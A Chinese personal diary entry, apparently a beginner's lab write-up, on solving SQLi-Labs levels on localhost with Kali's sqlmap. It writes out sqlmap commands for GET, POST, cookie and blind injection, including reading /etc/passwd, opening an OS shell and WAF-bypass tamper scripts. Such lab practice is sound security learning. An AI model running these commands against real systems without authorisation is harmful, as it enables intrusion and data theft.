三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

从靶场到实战:用Kali Linux的sqlmap复现SQLi-Labs漏洞的完整心路历程

从靶场到实战:用Kali Linux的sqlmap复现SQLi-Labs漏洞的完整心路历程

从靶场到实战:用Kali Linux的sqlmap复现SQLi-Labs漏洞的完整心路历程

第一次打开Kali Linux终端时,我盯着那个闪烁的光标发了五分钟呆。作为一个刚转行网络安全的新手,"SQL注入"这个词在培训课上听了不下二十遍,但真正要动手操作时,却发现连最基本的工具参数都记不全。直到导师扔给我一句话:"去装个SQLi-Labs靶场,用sqlmap把前11关打通,你就明白什么是SQL注入了。"

1. 环境准备:当新手遇到Kali Linux

我的笔记本上已经预装了Kali 2023.3,但第一次启动时还是被满屏的工具图标震撼到了。在Applications → 03 - Web Application Analysis里找到sqlmap时,差点以为这是个图形化工具——结果点开只是个终端窗口。后来才知道,所有高级操作都必须通过命令行完成

安装SQLi-Labs的过程就给了我第一个教训:

git clone https://github.com/Audi-1/sqli-labs cd sqli-labs/sql-connections # 修改db-creds.inc文件中的数据库密码 mysql -u root -p < ../db.sql

原本以为简单的三步操作,却因为MySQL服务没启动卡了半小时。用systemctl status mysql检查才发现服务是inactive状态,这才想起Kali默认不自动启动数据库服务。

2. 初识sqlmap:从--help到实战

在终端输入sqlmap -hh看到密密麻麻的参数说明时,我决定采用"最小必要知识"策略:先掌握五个核心参数

  • -u:指定测试URL
  • --batch:自动选择默认选项
  • --dbs:枚举数据库
  • --tables:枚举数据表
  • --dump:导出数据

第一个实战目标是Less-1(GET型注入)。在火狐浏览器打开http://localhost/sqli-labs/Less-1/?id=1页面后,尝试了最基础的探测命令:

sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" --batch

结果立即报错:"target URL is not injectable"。翻查文档才发现漏了关键参数--flush-session——原来sqlmap会缓存检测结果,导致重复测试时误判。

3. 闯关进阶:不同注入类型的实战记录

3.1 GET注入(Less-1到Less-4)

成功突破Less-1后,我整理了一个参数组合公式:

sqlmap -u "URL" --risk=3 --level=3 --dbs --tables --dump

其中--risk--level参数控制检测强度。但到Less-4时发现这个组合失效了,仔细观察发现URL参数从?id=1变成了?id=1"——原来这一关需要处理字符串闭合。最终解决方案是添加--prefix--suffix参数:

sqlmap -u "http://localhost/sqli-labs/Less-4/?id=1" \ --prefix="\"" --suffix="\"" --dbs

3.2 POST注入(Less-11)

POST型注入需要捕获请求数据。我用Burp Suite拦截到登录表单的原始请求:

POST /sqli-labs/Less-11/ HTTP/1.1 uname=admin&passwd=admin&submit=Submit

对应的sqlmap命令需要--data参数:

sqlmap -u "http://localhost/sqli-labs/Less-11/" \ --data="uname=admin&passwd=admin" --dbs

3.3 Cookie注入(Less-20)

这一关让我第一次理解了HTTP头的安全意义。通过浏览器开发者工具获取Cookie后,使用--cookie参数:

sqlmap -u "http://localhost/sqli-labs/Less-20/" \ --cookie="PHPSESSID=ab12cd34ef56gh78" --level=2

注意--level必须≥2才会检测Cookie字段。

4. 盲注挑战:当没有错误回显时

Less-5(布尔盲注)和Less-8(时间盲注)彻底颠覆了我对SQL注入的认知。没有直观的回显数据,只能通过两个特殊参数:

参数作用适用场景
--technique=B布尔盲注页面返回内容有差异
--technique=T时间盲注通过响应延迟判断

时间盲注的典型命令:

sqlmap -u "http://localhost/sqli-labs/Less-8/?id=1" \ --technique=T --time-sec=5 --dbs

这里的--time-sec指定延迟阈值,我通过反复测试发现设为5秒时准确率最高。

5. 高阶技巧:从数据提取到系统控制

当完成基础关卡后,我开始尝试更高级的操作:

5.1 文件读取

sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" \ --file-read="/etc/passwd"

5.2 交互式Shell

sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" \ --os-shell

这个功能需要满足三个前提条件:

  1. 数据库用户有写权限
  2. 知道网站绝对路径
  3. 未禁用特定函数

6. 踩坑记录:那些教科书不会告诉你的细节

  • 编码问题:当靶场返回乱码时,添加--charset=gbk参数
  • 超时处理:网络不稳定时使用--timeout=30延长等待时间
  • WAF绕过:组合使用--tamper=space2comment等脚本
  • 性能优化--threads=3加速检测但可能触发防护

最难忘的是Less-11的POST注入测试,因为忘记URL编码&符号,导致命令被截断。后来学会先用--proxy=http://127.0.0.1:8080配合Burp观察原始请求。

7. 从靶场到真实世界的思考

完成所有关卡后回看,发现实战与靶场有三大差异:

  1. 真实网站的输入过滤更复杂
  2. 网络环境不稳定因素更多
  3. 数据量级完全不同

为此我整理了三个过渡建议:

  1. 先在Vulnhub等模拟环境练习
  2. 掌握--proxy参数分析流量
  3. 养成--output-dir保存记录的习惯

记得在攻克Less-9(时间盲注)时,因为网络波动导致误判,花了三小时才想到用--time-sec=10降低误报率。这种经验是任何教程都无法替代的。

← 返回列表